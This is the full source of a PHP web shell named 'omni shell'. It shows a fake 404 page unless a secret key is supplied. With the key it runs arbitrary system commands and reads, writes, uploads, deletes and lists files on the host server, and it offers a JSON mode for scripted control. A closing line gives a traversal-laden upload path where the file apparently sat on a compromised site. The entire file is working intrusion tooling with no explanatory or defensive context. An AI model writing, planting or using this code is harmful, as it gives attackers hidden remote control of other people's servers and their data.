.-.-.-.-.-

<?php /* os.php - omni shell (exec + file ops, no C2) */
@error_reporting(0); @ini_set('display_errors',0);
$k = isset($_GET['k']) ? $_GET['k'] : '';
if ($k !== '85b7dd43121bd8a2') { echo '<html><body><h1>404 Not Found</h1></body></html>'; exit; }
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$rt = 'realpath';
if (!@is_dir($rt($dir))) { $dir = '.'; }
$dir = $rt($dir);
$out = '';

/* --- EXEC --- */
if (isset($_GET['c']) && trim($_GET['c']) !== '') {
    $cmd = $_GET['c'];
    $r = '';
    foreach (['shell_exec','exec','system','passthru','popen'] as $f) {
        if (!function_exists($f)) continue;
        if ($f === 'shell_exec') { $r = @shell_exec($cmd); break; }
        elseif ($f === 'exec') { @exec($cmd, $o, $rc); $r = implode("\n",$o); break; }
        elseif ($f === 'system') { ob_start(); @system($cmd); $r = ob_get_clean(); break; }
        elseif ($f === 'passthru') { ob_start(); @passthru($cmd); $r = ob_get_clean(); break; }
        elseif ($f === 'popen') { $h = @popen($cmd,'r'); if ($h) { $r = stream_get_contents($h); @pclose($h); } break; }
    }
    $out .= '[OUT]\n' . $r;
    if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'out'=>$r]); exit; }
}

/* --- FILE READ --- */
if (isset($_GET['cat'])) {
    $f = $dir . '/' . basename($_GET['cat']);
    if (@is_file($f)) {
        $c = @file_get_contents($f);
        if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'name'=>basename($f),'size'=>strlen($c),'data'=>base64_encode($c)]); exit; }
        $out .= '[FILE] ' . htmlspecialchars(basename($f)) . ' (' . strlen($c) . ' bytes)\n---\n' . htmlspecialchars($c, ENT_SUBSTITUTE);
    } else { $out .= '[ERR] not found'; }
}

/* --- FILE WRITE --- */
if (isset($_POST['w']) && isset($_POST['d'])) {
    $f = $dir . '/' . basename($_POST['w']);
    $data = @base64_decode($_POST['d']);
    if ($data !== false && $data !== null) {
        $r = @file_put_contents($f, $data);
        $out .= $r !== false ? '[W_OK] ' . htmlspecialchars(basename($f)) . ' (' . $r . ' bytes)' : '[W_FAIL]';
    } else { $out .= '[W_FAIL] invalid base64'; }
    if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'msg'=>$out]); exit; }
}

/* --- FILE UPLOAD --- */
if (isset($_FILES['f']) && $_FILES['f']['error'] == 0) {
    $t = $dir . '/' . basename($_FILES['f']['name']);
    if (@move_uploaded_file($_FILES['f']['tmp_name'], $t)) {
        $out .= '[UP_OK] ' . htmlspecialchars(basename($_FILES['f']['name'])) . ' (' . $_FILES['f']['size'] . ' bytes)';
    } else { $out .= '[UP_FAIL]'; }
    if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'msg'=>$out]); exit; }
}

/* --- FILE DELETE --- */
if (isset($_GET['rm'])) {
    $t = $dir . '/' . basename($_GET['rm']);
    $r = @unlink($t);
    $out .= $r ? '[RM_OK]' : '[RM_FAIL]';
    if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'msg'=>$out]); exit; }
}

/* --- LIST --- */
if (isset($_GET['ls'])) {
    $items = [];
    foreach (@glob($dir . '/*') as $f) { $items[] = ['name'=>basename($f),'size'=>@filesize($f),'isdir'=>@is_dir($f)]; }
    if (isset($_GET['x'])) { echo json_encode(['ok'=>1,'dir'=>$dir,'files'=>$items]); exit; }
    foreach ($items as $i) {
        $out .= ($i['isdir']?'[DIR]':'[FILE]') . ' ' . htmlspecialchars($i['name']) . "\t" . $i['size'] . "\n";
    }
}

/* --- HTML UI --- */
if (!isset($_GET['x'])) {
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>404</title><style>body{background:#111;color:#0f0;font:13px monospace;margin:20px}a{color:#0f0}h2{color:#0f0}input,textarea,select{background:#222;color:#0f0;border:1px solid #0f0;font:12px monospace}input[type=submit]{background:#0f0;color:#000;cursor:pointer}.fm{margin:10px 0;padding:10px;border:1px solid #333}</style></head><body>';
    echo '<h2>404</h2>';
    echo '<div class="fm"><form method="get">dir: <input name="dir" size="40" value="' . htmlspecialchars($dir) . '"> ';
    echo 'cmd: <input name="c" size="30" placeholder="whoami"> ';
    echo '<input type="hidden" name="k" value="85b7dd43121bd8a2"> <input type="submit" value="exec"></form></div>';
    echo '<div class="fm"><form method="post" enctype="multipart/form-data">';
    echo 'upload: <input type="file" name="f"> <input type="hidden" name="k" value="85b7dd43121bd8a2"> <input type="submit" value="up"></form></div>';
    echo '<div class="fm"><form method="get">rm file: <input name="rm" size="30" placeholder="filename"> ';
    echo '<input type="hidden" name="k" value="85b7dd43121bd8a2"> <input type="submit" value="rm"></form></div>';
    echo '<div class="fm"><form method="get">cat file: <input name="cat" size="30" placeholder="filename"> ';
    echo '<input type="hidden" name="k" value="85b7dd43121bd8a2"> <input type="submit" value="cat"></form></div>';
    echo '<div class="fm"><a href="?k=85b7dd43121bd8a2&ls=1&dir=' . urlencode($dir) . '">[list]</a>';
    echo ' | <a href="?k=85b7dd43121bd8a2&x=1&ls=1&dir=' . urlencode($dir) . '">[list.json]</a></div>';
    if ($out) echo '<pre>' . $out . '</pre>'; else echo '<pre>---</pre>';
    echo '</body></html>';
}

/home/etiennec/www/tmp/upload/../../tmp/../tmp/../tmp/cache/c/../../../tmp/../IMG/../os-6b97a7.php